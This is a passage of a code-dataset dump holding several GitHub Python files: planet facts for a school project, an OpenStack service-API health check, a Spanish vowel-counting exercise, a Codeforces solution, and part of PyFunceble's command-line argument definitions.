evolution of all planets including our own!\"\n\n        #data for planet Jupiter\n        jupiter = Planet() #calling instance of planet\n        jupiter.name = \"Jupiter\" #Planet Name\n        jupiter.dfs = \"483,682,810 miles\" #Distance from the sun\n        jupiter.moon = 63 #Number of moons\n        jupiter.loy = \"4,331 days\" #Lenth of Year in Earth Days\n        #Some fun facts about the planet\n        jupiter.fun_fact = \"Known as the Giant. Jupiter is the most massive planet in our solar system. It resembles a star in composition. Jupiter has a giant spinning storm called the Great Red Spot that has been observed for more than 300 years.\"\n\n        #data for planet Saturn\n        saturn = Planet() #calling instance of planet\n        saturn.name = \"Saturn\" #Planet Name\n        saturn.dfs = \"885,904,700 miles\" #Distance from the sun\n        saturn.moon = 52 #Number of moons\n        saturn.loy = \"10,759 days\" #Lenth of Year in Earth Days\n        #Some fun facts about the planet\n        saturn.fun_fact = \"Known as the Ringed Planet. Saturn's ring system is the most extensive and complex in the solar system. It's rings extend hundreds of thousands of kilometers from the planet.\"\n\n        #data for planet Uranus\n        uranus = Planet() #calling instance of planet\n        uranus.name = \"Uranus\" #Planet Name\n        uranus.dfs = \"1,783,939,400 miles\" #Distance from the sun\n        uranus.moon = 27 #Number of moons\n        uranus.loy = \"30,687 days\" #Lenth of Year in Earth Days\n        #Some fun facts about the planet\n        uranus.fun_fact = \"Known as the Blue Planet. Uranus is the 7th planet from the sun. It takes 84 years to complete one orbit around the sun! It's axis is almost horizontal. Many of it's moons are named after characters from the works of William Shakespeare.\"\n\n        #data for planet Neptune\n        neptune = Planet() #calling instance of planet\n        neptune.name = \"Neptune\" #Planet Name\n        neptune.dfs = \"2,795,084,800 miles\" #Distance from the sun\n        neptune.moon = 13 #Number of moons\n        neptune.loy = \"60,190 days\" #Lenth of Year in Earth Days\n        #Some fun facts about the planet\n        neptune.fun_fact = \"Neptune is the 8th planet from the sun. It was the first planet located through mathematical predictions rather than through regular observations of the sky. The winds on Neptune are three times stronger than Jupiter's and and nine times stronger than Earth's. \"\n\n        #Array to store the planets/data - will be passed into mainHandler in main.py\n        self.planet_list = [mercury, venus, earth, mars, jupiter, saturn, uranus, neptune]\n\n\n\n\n\n","repo_name":"ReneVaughan/school-projects","sub_path":"project_5/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74617528829","text":"import argparse\n\nimport ipaddr\nfrom maas_common import get_openstack_client\nfrom maas_common import metric\nfrom maas_common import metric_bool\nfrom maas_common import print_output\nfrom maas_common import status_ok\nimport requests\nfrom requests import exceptions as exc\n\n\ndef check(args):\n    headers = {'Content-type': 'application/json'}\n    path_options = {}\n    if args.auth:\n        keystone = get_openstack_client('identity')\n        auth_token = keystone.get_token()\n        project_id = keystone.get_project_id()\n        headers['auth_token'] = auth_token\n        path_options['project_id'] = project_id\n\n    scheme = args.ssl and 'https' or 'http'\n    endpoint = '{scheme}://{ip}:{port}'.format(ip=args.ip, port=args.port,\n                                               scheme=scheme)\n    if args.version is not None:\n        path_options['version'] = args.version\n    path = args.path.format(path_options)\n\n    s = requests.Session()\n    s.headers.update(headers)\n\n    short_name = args.name.split('_')[0]\n    if path and not path.startswith('/'):\n        url = '/'.join((endpoint, path))\n    else:\n        url = ''.join((endpoint, path))\n    try:\n        r = s.get(url, verify=False, timeout=180)\n    except (exc.ConnectionError, exc.HTTPError, exc.Timeout):\n        is_up = False\n        metric_bool('client_success', False,\n                    m_name='maas_{name}'.format(name=short_name))\n    else:\n        is_up = True\n        metric_bool('client_success', True,\n                    m_name='maas_{name}'.format(name=short_name))\n\n    status_ok(m_name='maas_{name}'.format(name=short_name))\n    metric_bool('{name}_api_local_status'.format(name=args.name), is_up)\n\n    if is_up and r.ok:\n        milliseconds = r.elapsed.total_seconds() * 1000\n        metric('{name}_api_local_response_time'.format(name=args.name),\n               'double',\n               '%.3f' % milliseconds,\n               'ms')\n\n\ndef main(args):\n    check(args)\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='Check service is up.')\n    parser.add_argument('name', help='Service name.')\n    parser.add_argument('ip', type=ipaddr.IPv4Address,\n                        help='Service IP address.')\n    parser.add_argument('port', type=int, help='Service port.')\n    parser.add_argument('--path', default='',\n                        help='Service API path, this should include '\n                             'placeholders for the version \"{version}\" and'\n                             ' tenant ID \"{tenant_id}\" if required.')\n    parser.add_argument('--auth', action='store_true', default=False,\n                        help='Does this API check require auth?')\n    parser.add_argument('--ssl', action='store_true', default=False,\n                        help='Should SSL be used.')\n    parser.add_argument('--version', help='Service API version.')\n    parser.add_argument('--telegraf-output',\n                        action='store_true',\n                        default=False,\n                        help='Set the output format to telegraf')\n    args = parser.parse_args()\n    with print_output(print_telegraf=args.telegraf_output):\n        main(args)\n","repo_name":"rcbops/rpc-maas","sub_path":"playbooks/files/rax-maas/plugins/service_api_local_check.py","file_name":"service_api_local_check.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"60"}
+{"seq_id":"20341964392","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Ejercicio 9\n# Escribir un programa que pida al usuario una palabra y muestre por pantalla el número de veces que contiene cada vocal.\n\n# In[19]:\n\n\npalabra = input(\"Ingrese una palabra para contar sus vocales: \")\nvocales = ['a','e','i','o','u']\ncuentaA = 0\ncuentaE = 0\ncuentaI = 0\ncuentaO = 0\ncuentaU = 0\nfor letra in palabra:\n    if letra == \"a\":\n        cuentaA = cuentaA +1\n    if letra == \"e\":\n        cuentaE = cuentaE +1\n    if letra == \"i\":\n        cuentaI = cuentaI +1\n    if letra == \"o\":\n        cuentaO = cuentaO +1\n    if letra == \"u\":\n        cuentaU = cuentaU +1\nif cuentaA > 0:\n    print(\"La palabra tiene\",cuentaA, \"a\")\nif cuentaE > 0:\n    print(\"La palabra tiene\",cuentaE, \"e\")\nif cuentaI > 0:\n    print(\"La palabra tiene\",cuentaI, \"i\")\nif cuentaO > 0:\n    print(\"La palabra tiene\",cuentaO, \"o\")\nif cuentaU > 0:\n    print(\"La palabra tiene\",cuentaU, \"u\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"adrianespora/Ejercicios-Listas-y-Tuplas","sub_path":"Listas y tuplas Ej 09.py","file_name":"Listas y tuplas Ej 09.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30345340096","text":"# -*- coding: utf-8 -*-\nimport  math\nk, a, b = map(int, raw_input().split(' '))\ninterval = b - a + 1\n\ndiv = interval / float(k)\n\nif a % k == 0:\n    print(int(math.ceil(div)))\nelse:\n    print(int(div))\n","repo_name":"smirnoffmg/codeforces","sub_path":"597A.py","file_name":"597A.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70941689472","text":"import argparse\nimport os\nimport sys\nfrom typing import Any, List, Optional, Tuple, Union\n\nimport colorama\nimport shtab\n\nimport PyFunceble.cli.storage\nimport PyFunceble.facility\nimport PyFunceble.storage\nfrom PyFunceble.cli.entry_points.pyfunceble.argsparser import OurArgumentParser\nfrom PyFunceble.cli.system.integrator import SystemIntegrator\nfrom PyFunceble.cli.system.launcher import SystemLauncher\nfrom PyFunceble.helpers.regex import RegexHelper\n\n\ndef get_configured_value(entry: str, *, negate=False) -> Any:\n    \"\"\"\n    Provides the currently configured value.\n\n    :param entry:\n        An entry to check.\n\n        multilevel should be separated with a point.\n\n    :param negate:\n        Allows us to negate the result from the configuration.\n\n    :raise ValueError:\n        When the given :code:`entry` is not found.\n    \"\"\"\n\n    if \":\" in entry:\n        location, var_name = entry.split(\":\", 1)\n\n        if location == \"cli_storage\":\n            result = getattr(PyFunceble.cli.storage, var_name)\n        else:\n            raise RuntimeError(\"<entry> ({entry!r}) not supported.\")\n\n        if var_name == \"OUTPUT_DIRECTORY\":\n            result = os.path.join(*os.path.split(result)[:-1])\n    else:\n        result = PyFunceble.facility.ConfigLoader.get_configured_value(entry)\n\n    if negate:\n        result = not result\n\n    return (\n        f\"\\n{colorama.Fore.YELLOW}{colorama.Style.BRIGHT}\"\n        f\"Configured value: {colorama.Fore.BLUE}\"\n        f\"{result!r}\"\n        f\"{colorama.Style.RESET_ALL}\"\n    )\n\n\n# pylint: disable=protected-access\ndef add_arguments_to_parser(\n    parser: Union[argparse.ArgumentParser, argparse._ArgumentGroup],\n    arguments: List[Tuple[List[str], dict]],\n) -> None:\n    \"\"\"\n    Adds the given argument into the given parser.\n    \"\"\"\n\n    for pos_args, opt_args in arguments:\n        if \"dest\" in opt_args:\n            opt_args[\"dest\"] = opt_args[\"dest\"].replace(\".\", \"__\")\n\n        parser.add_argument(*pos_args, **opt_args)\n\n\ndef get_source_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the arguments of the source group.\n    \"\"\"\n\n    return [\n        (\n            [\n                \"-d\",\n                \"--domain\",\n            ],\n            {\n                \"dest\": \"domains\",\n                \"type\": str.lower,\n                \"nargs\": \"+\",\n                \"help\": \"Test one or more domains, separated by spaces.\\n\\n\"\n                \"When this option is used, no output files are generated.\",\n            },\n        ),\n        (\n            [\n                \"-u\",\n                \"--url\",\n            ],\n            {\n                \"dest\": \"urls\",\n                \"type\": str,\n                \"nargs\": \"+\",\n                \"help\": \"Test one or more full URL, separated by spaces.\",\n            },\n        ),\n        (\n            [\n                \"-f\",\n                \"--file\",\n            ],\n            {\n                \"dest\": \"files\",\n                \"type\": str,\n                \"nargs\": \"+\",\n                \"help\": \"Read a local or remote (RAW link) file and test all \"\n                \"domains inside it.\"\n                \"\\nIf remote (RAW link) file is given, PyFunceble will download \"\n                \"it,\\n and test the content of the given RAW link as if it was a\"\n                \" locally stored file.\",\n            },\n        ),\n        (\n            [\n                \"-uf\",\n                \"--url-file\",\n            ],\n            {\n                \"dest\": \"url_files\",\n                \"type\": str,\n                \"nargs\": \"+\",\n                \"help\": \"Read a local or remote (RAW link) file and test all \"\n                \"(full) URLs inside it.\"\n                \"\\nIf remote (RAW link) file is given, PyFunceble will download \"\n                \"it,\\n and test the content of the given RAW link as if it was a\"\n                \" locally stored file. \"\n                \"\\n\\nThis argument test if an URL is available. It ONLY test \"\n                \"full URLs.\",\n            },\n        ),\n    ]\n\n\ndef get_filtering_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the argument of the filtering group.\n    \"\"\"\n\n    return [\n        (\n            [\n                \"--adblock\",\n            ],\n            {\n                \"dest\": \"cli_decoding.adblock\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or deactivates the decoding of the adblock \"\n                \"format. %s\" % get_configured_value(\"cli_decoding.adblock\"),\n            },\n        ),\n        (\n            [\n                \"--aggressive\",\n            ],\n            {\n                \"dest\": \"cli_decoding.aggressive\",\n                \"action\": \"store_true\",\n                \"help\": argparse.SUPPRESS,\n            },\n        ),\n        (\n            [\"--cidr\"],\n            {\n                \"dest\": \"cli_testing.cidr_expand\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the expansion of CIDR formatted\\n\"\n                \"addresses. %s\" % get_configured_value(\"cli_testing.cidr_expand\"),\n            },\n        ),\n        (\n            [\n                \"--complements\",\n            ],\n            {\n                \"dest\": \"cli_testing.complements\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the generation and test of the\\n\"\n                \"complements. \"\n                \"\\nA complement is for example `example.org` if \"\n                \"'www.example.org'\\nis given and vice-versa. %s\"\n                % get_configured_value(\"cli_testing.complements\"),\n            },\n        ),\n        (\n            [\n                \"--preload\",\n            ],\n            {\n                \"dest\": \"cli_testing.preload_file\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the preloading of the input\\n\"\n                \"file(s) into the continue dataset before starting the tests.\\n\\n\"\n                \"This reduces the waiting time while continuing a previous\\n\"\n                \"session.\\n\"\n                \"Note: This is useless when the auto continue subsystem is not \"\n                \"active. %s\" % get_configured_value(\"cli_testing.preload_file\"),\n            },\n        ),\n        (\n            [\n                \"--filter\",\n            ],\n            {\n                \"dest\": \"cli_testing.file_filter\",\n                \"type\": str,\n                \"help\": \"Regex to match in order to test a given line. %s\"\n                % get_configured_value(\"cli_testing.file_filter\"),\n            },\n        ),\n        (\n            [\n                \"--mining\",\n            ],\n            {\n                \"dest\": \"cli_testing.mining\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the mining subsystem. %s\"\n                % get_configured_value(\"cli_testing.mining\"),\n            },\n        ),\n        (\n            [\n                \"--rpz\",\n            ],\n            {\n                \"dest\": \"cli_decoding.rpz\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the decoding of RPZ policies\\n\"\n                \"from each given input files. %s\"\n                % get_configured_value(\"cli_decoding.rpz\"),\n            },\n        ),\n        (\n            [\n                \"--wildcard\",\n            ],\n            {\n                \"dest\": \"cli_decoding.wildcard\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the decoding of wildcards for\\n\"\n                \"each given input files. %s\"\n                % get_configured_value(\"cli_decoding.wildcard\"),\n            },\n        ),\n    ]\n\n\ndef get_test_control_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the argument of the test control data group.\n    \"\"\"\n\n    return [\n        (\n            [\n                \"--chancy\",\n                \"--ludicrous\",\n            ],\n            {\n                \"dest\": \"cli_testing.chancy_tester\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates a chancy mode that unleashes the safety\\n\"\n                \"workflow in place. \\n\\n\"\n                f\"{colorama.Fore.RED}WARNING: You shouldn't have to use this \"\n                \"unless you feel really lucky\\n\"\n                \"and trust your machine. This mode makes things look 'fast',\\n\"\n                \"but it may produce some unexpected results if N process\\n\"\n                \"simultaneously write the same output file.\\n\"\n                \"This mode makes the graphical CLI output unparsable - either.\\n\"\n                f\"\\n{colorama.Fore.GREEN}MAY THE FORCE BE WITH YOU!\"\n                f\"\\n{colorama.Style.RESET_ALL}%s\"\n                % get_configured_value(\"cli_testing.chancy_tester\"),\n            },\n        ),\n        (\n            [\n                \"-c\",\n                \"--auto-continue\",\n                \"--continue\",\n            ],\n            {\n                \"dest\": \"cli_testing.autocontinue\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the autocontinue subsystem. %s\"\n                % get_configured_value(\"cli_testing.autocontinue\"),\n            },\n        ),\n        (\n            [\n                \"--cooldown-time\",\n            ],\n            {\n                \"dest\": \"cli_testing.cooldown_time\",\n                \"type\": float,\n                \"help\": \"Sets the cooldown time (in second) to apply between\\n\"\n                \"each test. %s\" % get_configured_value(\"cli_testing.cooldown_time\"),\n            },\n        ),\n        (\n            [\n                \"--local\",\n            ],\n            {\n                \"dest\": \"cli_testing.local_network\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the consideration of the test(s)\\n\"\n                \"in or for a local or private network context. %s\"\n                % get_configured_value(\"cli_testing.local_network\"),\n            },\n        ),\n        (\n            [\"--collection-preferred-origin\"],\n            {\n                \"dest\": \"collection.preferred_status_origin\",\n                \"type\": str,\n                \"choices\": [\"frequent\", \"latest\", \"recommended\"],\n                \"help\": \"Sets the preferred status origin. %s\"\n                % get_configured_value(\"collection.preferred_status_origin\"),\n            },\n        ),\n        (\n            [\"--collection-lookup\"],\n            {\n                \"dest\": \"lookup.collection\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the usage of the Collection lookup\\n\"\n                \"whether possible. %s\" % get_configured_value(\"lookup.collection\"),\n            },\n        ),\n        (\n            [\"--collection-lookup-only\"],\n            {\n                \"dest\": \"self_contained.lookup.collection\",\n                \"action\": \"store_true\",\n                \"help\": \"Only perform a Collection lookup.\",\n            },\n        ),\n        (\n            [\"--dns-lookup\"],\n            {\n                \"dest\": \"lookup.dns\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the usage of the DNS lookup\\n\"\n                \"whether possible. %s\" % get_configured_value(\"lookup.dns\"),\n            },\n        ),\n        (\n            [\"--dns-lookup-only\"],\n            {\n                \"dest\": \"self_contained.lookup.dns\",\n                \"action\": \"store_true\",\n                \"help\": \"Only perform a DNS lookup.\",\n            },\n        ),\n        (\n            [\"--http\", \"--http-status-code-lookup\"],\n            {\n                \"dest\": \"lookup.http_status_code\",\n                \"action\": \"store_true\",\n                \"help\": \"Switch the value of the usage of HTTP code. %s\"\n                % get_configured_value(\"lookup.http_status_code\"),\n            },\n        ),\n        (\n            [\"--http-only\", \"--http-status-code-lookup-only\"],\n            {\n                \"dest\": \"self_contained.lookup.http_status_code\",\n                \"action\": \"store_true\",\n                \"help\": \"Only perform a HTTP Code lookup.\",\n            },\n        ),\n        (\n            [\n                \"--netinfo-lookup\",\n            ],\n            {\n                \"dest\": \"lookup.netinfo\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the usage of the network\\n\"\n                \"information (or network socket) whether possible. %s\"\n                % get_configured_value(\"lookup.netinfo\"),\n            },\n        ),\n        (\n            [\"--netinfo-lookup-only\"],\n            {\n                \"dest\": \"self_contained.lookup.netinfo\",\n                \"action\": \"store_true\",\n                \"help\": \"Only perform a network information (or networket \"\n                \"socket) lookup.\",\n            },\n        ),\n        (\n            [\n                \"--special-lookup\",\n            ],\n            {\n                \"dest\": \"lookup.special\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the usage of our SPECIAL and\\n\"\n                \"extra rules whether possible. %s\"\n                % get_configured_value(\"lookup.special\"),\n            },\n        ),\n        (\n            [\"--special-lookup-only\"],\n            {\n                \"dest\": \"self_contained.lookup.special\",\n                \"action\": \"store_true\",\n                \"help\": \"Only perform a SPECIAL lookup.\",\n            },\n        ),\n        (\n            [\n                \"--whois-lookup\",\n            ],\n            {\n                \"dest\": \"lookup.whois\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the usage of the WHOIS record\\n\"\n                \"(or better said the expiration date in it) whether possible. %s\"\n                % get_configured_value(\"lookup.whois\"),\n            },\n        ),\n        (\n            [\"--whois-lookup-only\"],\n            {\n                \"dest\": \"self_contained.lookup.whois\",\n                \"action\": \"store_true\",\n                \"help\": \"Only perform a WHOIS lookup.\",\n            },\n        ),\n        (\n            [\n                \"--reputation-lookup\",\n            ],\n            {\n                \"dest\": \"lookup.reputation\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the usage of the reputation\\n\"\n                \"dataset whether possible. %s\"\n                % get_configured_value(\"lookup.reputation\"),\n            },\n        ),\n        (\n            [\"--reputation-lookup-only\"],\n            {\n                \"dest\": \"self_contained.lookup.reputation\",\n                \"action\": \"store_true\",\n                \"help\": \"Only perform a reputation lookup.\",\n            },\n        ),\n        (\n            [\n                \"--reputation\",\n            ],\n            {\n                \"dest\": \"cli_testing.testing_mode.reputation\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the reputation checker. %s\"\n                % get_configured_value(\"cli_testing.testing_mode.reputation\"),\n            },\n        ),\n        (\n            [\n                \"--syntax\",\n            ],\n            {\n                \"dest\": \"cli_testing.testing_mode.syntax\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the syntax checker. %s\"\n                % get_configured_value(\"cli_testing.testing_mode.syntax\"),\n            },\n        ),\n        (\n            [\n                \"-t\",\n                \"--timeout\",\n            ],\n            {\n                \"dest\": \"lookup.timeout\",\n                \"type\": float,\n                \"default\": 5.0,\n                \"help\": \"Sets the default timeout to apply to each lookup\\n\"\n                \"utilities every time it is possible to define a timeout. %s\"\n                % get_configured_value(\"lookup.timeout\"),\n            },\n        ),\n        (\n            [\n                \"--max-http-retries\",\n            ],\n            {\n                \"dest\": \"max_http_retries\",\n                \"type\": int,\n                \"default\": 3,\n                \"help\": \"Sets the maximum number of retries for an HTTP \"\n                \"request. %s\" % get_configured_value(\"max_http_retries\"),\n            },\n        ),\n        (\n            [\n                \"-ua\",\n                \"--user-agent\",\n            ],\n            {\n                \"dest\": \"user_agent.custom\",\n                \"type\": str,\n                \"help\": \"Sets the user agent to use.\\n\\nIf not given, we try to \"\n                \"get the latest (automatically) for you.\",\n            },\n        ),\n        (\n            [\n                \"-vsc\",\n                \"--verify-ssl-certificate\",\n            ],\n            {\n                \"dest\": \"verify_ssl_certificate\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the verification of the SSL/TLS\\n\"\n                \"certificate when testing for URL. %s\"\n                % get_configured_value(\"verify_ssl_certificate\"),\n            },\n        ),\n    ]\n\n\ndef get_dns_control_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the argument of the DNS control group.\n    \"\"\"\n\n    return [\n        (\n            [\n                \"--dns\",\n            ],\n            {\n                \"dest\": \"dns.server\",\n                \"nargs\": \"+\",\n                \"type\": str,\n                \"help\": \"Sets one or more (space separated) DNS server(s) to \"\n                \"use during testing.\"\n                \"\\n\\nTo specify a port number for the \"\n                \"DNS server you append\\nit as :port [ip:port].\\n\\n\"\n                \"If no port is specified, the default DNS port (53) is used. %s\"\n                % get_configured_value(\"dns.server\"),\n            },\n        ),\n        (\n            [\n                \"--dns-protocol\",\n            ],\n            {\n                \"dest\": \"dns.protocol\",\n                \"type\": str,\n                \"choices\": [\"UDP\", \"TCP\", \"HTTPS\", \"TLS\"],\n                \"help\": \"Sets the protocol to use for the DNS queries. %s\"\n                % get_configured_value(\"dns.protocol\"),\n            },\n        ),\n        (\n            [\"--follow-server-order\"],\n            {\n                \"dest\": \"dns.follow_server_order\",\n                \"action\": \"store_true\",\n                \"help\": \"Let us follow or mix the order of usage of the given\\n\"\n                \"or found DNS server(s). %s\"\n                % get_configured_value(\"dns.follow_server_order\"),\n            },\n        ),\n        (\n            [\"--trust-dns-server\"],\n            {\n                \"dest\": \"dns.trust_server\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disable the trust mode.\\n\\n\"\n                \"When active, when the first read DNS server give us a negative\\n\"\n                \"response - without error - we take it as it it.\\n\"\n                \"Otherwise, if not active, when the first read DNS server give us\\n\"\n                \"a negative response - without error - we still consolidate by\\n\"\n                \"checking all given/found server.\\n%s\"\n                % get_configured_value(\"dns.trust_server\"),\n            },\n        ),\n        (\n            [\n                \"--dns-delay\",\n            ],\n            {\n                \"dest\": \"dns.delay\",\n                \"type\": float,\n                \"help\": \"Sets the delay (in seconds) to apply between each DNS\\n \"\n                \"queries.\\n %s\" % get_configured_value(\"dns.delay\"),\n            },\n        ),\n    ]\n\n\ndef get_proxy_control_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the argument of the proxy control group.\n    \"\"\"\n\n    return [\n        (\n            [\n                \"--http-proxy\",\n            ],\n            {\n                \"dest\": \"proxy.global.http\",\n                \"type\": str,\n                \"help\": \"Sets the proxy to use when testing subjects over HTTP. %s\"\n                % get_configured_value(\"proxy.global.http\"),\n            },\n        ),\n        (\n            [\n                \"--https-proxy\",\n            ],\n            {\n                \"dest\": \"proxy.global.https\",\n                \"type\": str,\n                \"help\": \"Sets the proxy to use when testing subjects over HTTPS. %s\"\n                % get_configured_value(\"proxy.global.https\"),\n            },\n        ),\n    ]\n\n\ndef get_database_control_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the arguments of the database group.\n    \"\"\"\n\n    return [\n        (\n            [\n                \"--inactive-db\",\n            ],\n            {\n                \"dest\": \"cli_testing.inactive_db\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the usage of a 'database' to\\n\"\n                f\"store all {PyFunceble.storage.STATUS.down!r} and \"\n                f\"{PyFunceble.storage.STATUS.invalid!r} \"\n                \" subject for continuous retest. %s\"\n                % get_configured_value(\"cli_testing.inactive_db\"),\n            },\n        ),\n        (\n            [\n                \"--database-type\",\n            ],\n            {\n                \"dest\": \"cli_testing.db_type\",\n                \"type\": str,\n                \"choices\": [\"csv\", \"mariadb\", \"mysql\", \"postgresql\"],\n                \"help\": \"Sets the database engine to use. \"\n                \"\\nYou can choose between the following: \"\n                \"`csv | mariadb | mysql | postgresql` %s\"\n                % get_configured_value(\"cli_testing.db_type\"),\n            },\n        ),\n        (\n            [\n                \"-dbr\",\n                \"--days-between-db-retest\",\n            ],\n            {\n                \"dest\": \"cli_testing.days_between.db_retest\",\n                \"type\": int,\n                \"help\": \"Sets the numbers of days since the introduction of\\n\"\n                \"subject into the inactive dataset before it gets retested. %s\"\n                % get_configured_value(\"cli_testing.days_between.db_retest\"),\n            },\n        ),\n        (\n            [\n                \"-dbc\",\n                \"--days-between-db-clean\",\n            ],\n            {\n                \"dest\": \"cli_testing.days_between.db_clean\",\n                \"type\": int,\n                \"help\": argparse.SUPPRESS,\n            },\n        ),\n        (\n            [\n                \"-wdb\",\n                \"--whois-database\",\n            ],\n            {\n                \"dest\": \"cli_testing.whois_db\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the usage of a 'database' to\\n\"\n                \"store the expiration date of all domains with a valid\\n\"\n                \"expiration date. %s\" % get_configured_value(\"cli_testing.whois_db\"),\n            },\n        ),\n    ]\n\n\ndef get_output_control_group_data() -> List[Tuple[List[str], dict]]:\n    \"\"\"\n    Provides the argument of the output group.\n    \"\"\"\n\n    return [\n        (\n            [\n                \"-a\",\n                \"--all\",\n            ],\n            {\n                \"dest\": \"cli_testing.display_mode.all\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the display of the all\\n\"\n                \"information in the table we print to stdout. %s\"\n                % get_configured_value(\"cli_testing.display_mode.all\"),\n            },\n        ),\n        (\n            [\n                \"-ex\",\n                \"--execution\",\n            ],\n            {\n                \"dest\": \"cli_testing.display_mode.execution_time\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the display of the execution time. %s\"\n                % get_configured_value(\"cli_testing.display_mode.execution_time\"),\n            },\n        ),\n        (\n            [\"--colour\", \"--color\"],\n            {\n                \"dest\": \"cli_testing.display_mode.colour\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the coloration to STDOUT. %s\"\n                % get_configured_value(\"cli_testing.display_mode.colour\"),\n            },\n        ),\n        (\n            [\"--display-status\"],\n            {\n                \"dest\": \"cli_testing.display_mode.status\",\n                \"type\": str.upper,\n                \"choices\": [\"all\"] + list(PyFunceble.storage.STATUS.values()),\n                \"nargs\": \"+\",\n                \"help\": \"Sets the status that we are allowed to print to STDOUT.\\n\\n\"\n                \"Multiple space separated statuses can be given.\"\n                \"%s\" % get_configured_value(\"cli_testing.display_mode.status\"),\n                \"default\": \"all\",\n            },\n        ),\n        (\n            [\n                \"--dots\",\n            ],\n            {\n                \"dest\": \"cli_testing.display_mode.dots\",\n                \"action\": \"store_true\",\n                \"help\": \"Activate or disables the display of dots or other\\n\"\n                \"characters when we skip the test of a subject. %s\"\n                % get_configured_value(\"cli_testing.display_mode.dots\"),\n            },\n        ),\n        (\n            [\n                \"--hierarchical\",\n            ],\n            {\n                \"dest\": \"cli_testing.sorting_mode.hierarchical\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the sorting of the files\\n\"\n                \"content (output) in a hierarchical order. %s\"\n                % get_configured_value(\"cli_testing.sorting_mode.hierarchical\"),\n            },\n        ),\n        (\n            [\n                \"-h\",\n                \"--host\",\n            ],\n            {\n                \"dest\": \"cli_testing.file_generation.hosts\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the generation of the\\n\"\n                \"hosts file(s). %s\"\n                % get_configured_value(\"cli_testing.file_generation.hosts\"),\n            },\n        ),\n        (\n            [\"-ip\", \"--hosts-ip\"],\n            {\n                \"dest\": \"cli_testing.hosts_ip\",\n                \"type\": str,\n                \"help\": \"Sets the IP to prefix each lines of the hosts file. %s\"\n                % get_configured_value(\"cli_testing.hosts_ip\"),\n            },\n        ),\n        (\n            [\n                \"--merge-output\",\n            ],\n            {\n                \"dest\": \"cli_testing.file_generation.merge_output_dirs\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the merging of the outputs of all\\n\"\n                \"inputted files inside a single subdirectory as opposed to the\\n\"\n                \"normal behavior. %s\"\n                % get_configured_value(\"cli_testing.file_generation.merge_output_dirs\"),\n            },\n        ),\n        (\n            [\n                \"--no-files\",\n            ],\n            {\n                \"dest\": \"cli_testing.file_generation.no_file\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the generation of any non-logs\\n\"\n                \"file(s). %s\"\n                % get_configured_value(\"cli_testing.file_generation.no_file\"),\n            },\n        ),\n        (\n            [\n                \"--output-location\",\n            ],\n            {\n                \"dest\": \"output_location\",\n                \"type\": str,\n                \"help\": \"Sets the location where we are supposed to generation\\n\"\n                \"the output directory from. %s\"\n                % get_configured_value(\"cli_storage:OUTPUT_DIRECTORY\"),\n            },\n        ),\n        (\n            [\n                \"--unified-results\",\n            ],\n            {\n                \"dest\": \"cli_testing.file_generation.unified_results\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the generation of the unified\\n\"\n                \"results file instead of the divided ones. %s\"\n                % get_configured_value(\n                    \"cli_testing.file_generation.unified_results\",\n                ),\n            },\n        ),\n        (\n            [\n                \"--percentage\",\n            ],\n            {\n                \"dest\": \"cli_testing.display_mode.percentage\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the display and generation\\n\"\n                \"of the percentage - file - of each status. %s\"\n                % get_configured_value(\"cli_testing.display_mode.percentage\"),\n            },\n        ),\n        (\n            [\n                \"--registrar\",\n            ],\n            {\n                \"dest\": \"cli_testing.display_mode.registrar\",\n                \"action\": \"store_true\",\n                \"help\": \"Activates or disables the display and generation\\n\"\n                \"of the registrar - file - status at the end of a test.\\n\"\n                \"The registrar file contains the top domain registrar found\\n\"\n                \"while testing. %s\"\n                % 